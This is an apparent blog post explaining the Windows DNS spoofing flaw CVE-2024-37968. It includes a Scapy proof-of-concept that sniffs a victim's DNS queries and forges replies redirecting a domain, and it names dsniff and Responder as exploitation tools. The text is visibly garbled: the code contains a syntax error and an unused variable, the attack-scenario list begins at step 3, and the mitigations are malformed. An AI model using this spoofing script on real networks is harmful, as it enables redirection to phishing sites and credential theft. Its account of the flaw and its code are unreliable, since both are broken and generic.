The cybersecurity world faces a new threat with CVE-2024-37968, a critical Windows DNS Spoofing Vulnerability. This flaw allows attackers to trick Windows systems into accepting fake DNS answers, redirecting users to malicious sites or disrupting network services. In this long-read post, we break down in plain language what CVE-2024-37968 is, demonstrate how it works, show a basic proof-of-concept (PoC) code snippet, and provide resources for further reading.

What is CVE-2024-37968?

CVE-2024-37968 is a vulnerability found in the Windows DNS Client service. It makes it possible for someone on your network (or close enough to intercept your DNS traffic) to send fake DNS responses.

Impacts:

Enables credential theft or session hijacking

Who is at Risk?
Any Windows machine (client or server) with default DNS settings, especially in public or poorly protected networks.

How Does This Exploit Work?

When you visit a website, your computer asks a DNS server to translate the name (like example.com) into an IP address. If an attacker can send a fake answer before the real one, your computer will accept it.

Normally, Windows DNS Client checks that the reply matches the request, but due to CVE-2024-37968, an attacker can spoof replies by predicting IDs, exploiting poor randomization, or simply flooding with fake answers.

Code Example: DNS Spoofing with Scapy (Python)

Below is a simplified Proof of Concept (for educational purposes only!) that responds to DNS queries for a specific domain with a fake IP. The script must run on the same network segment as the victim.

from scapy.all import *
import random

VICTIM_IP = '192.168.1.100'
VICTIM_PORT = 5353         # Example port (use sniffed port from victim)
SPOOF_DOMAIN = 'test.local'
FAKE_IP = '10.10.10.10'

def dns_spoof(packet):
    if packet.haslayer(DNS) and packet[DNS].qd.qname.decode().startswith(SPOOF_DOMAIN):
        ip = IP(dst=packet[IP].src, src=packet[IP].dst)
        udp = UDP(dport=packet[UDP].sport, sport=53)
        dns = DNS(
            id=packet[DNS].id,
            qr=1, aa=1, qd=packet[DNS].qd,
            an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata=FAKE_IP)
        )
        spoofed_pkt = ip/udp/dns
        send(spoofed_pkt, verbose=)
        print(f"Spoofed DNS reply sent to {packet[IP].src}")

sniff(filter=f"udp and port 53 and src {VICTIM_IP}", prn=dns_spoof)

What This Does:
Every time the victim asks for an address ending with test.local, the attacker instantly replies with 10.10.10.10. When the race is won, Windows caches the fake answer.

Tools That Can Exploit It:

- dsniff (arpspoof + dnsspoof)
- Responder (net creds collection)
- Scapy scripts (like above)

Mitigation:

- Apply latest security updates

Use HTTPS (TLS protects the data, but not the initial DNS spoof)

- Use secure DNS over TLS/HTTPS (DoH/DoT) where possible

Victim visits bank.com: The attacker's script spoofs DNS to return an IP he controls.

3. Victim browser loads fake site: Phishing credentials, pushing malware, or collecting session cookies.

Original References and Further Reading

- Microsoft Security Advisory: CVE-2024-37968
- CERT/CC Vulnerability Note VU#402580
- Scapy DNS spoofing example
- Wikipedia: DNS Spoofing

Conclusion

CVE-2024-37968 makes it dangerously easy for hackers and Wi-Fi snoops to mislead Windows users—unless you patch. This DNS spoofing bug reminds us that even basic internet building blocks need protection and upgrades. Patch now, be wary of public networks, and for admins, enable advanced DNS security!

Timeline

Published on: 08/13/2024 18:15:09 UTC
Last modified on: 10/16/2024 01:54:02 UTC